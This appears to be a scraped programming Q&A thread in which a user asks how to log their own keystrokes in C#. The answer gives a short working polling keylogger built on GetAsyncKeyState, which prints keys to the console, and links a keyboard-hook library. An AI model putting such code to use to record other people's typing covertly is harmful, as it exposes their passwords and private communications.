Capture any kind of keystrokes (aka keylogger), preferably c# .net but any kind will do

后端 未结 2 1736
野趣味
野趣味 2020-12-04 20:34

I need to capture everything that I type on my keyboard and then store it in numerous ways. I\'d prefer it to be written in C# for .Net, but anything will do really. My reas

2条回答
  •  旧时难觅i
    2020-12-04 21:15

    Old question but...

    In Windows you can use the APIs of the user32.dll.

    For a very simple keylogger you can use the method GetAsyncKeyState() checking whether each character of the ASCII table is pressed.

    The whole code for a very simple and stupid keylogger written in a Console Application would be:

    [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(Int32 i);
    
    static void Main(string[] args)
    {
        while (true)
        {
            Thread.Sleep(100);
    
            for (int i = 0; i < 255; i++)
            {
                int keyState = GetAsyncKeyState(i);
                if (keyState == 1 || keyState == -32767)
                {
                    Console.WriteLine((Keys)i);
                    break;
                }
            }
        }
    

    KeystrokeAPI

    For those who are looking for something more robust and cleaner I've created an API that makes it easy. You only need to do this:

    api.CreateKeyboardHook((character) => { Console.Write(character); });
    

    More details here: https://github.com/fabriciorissetto/KeystrokeAPI

提交回复
热议问题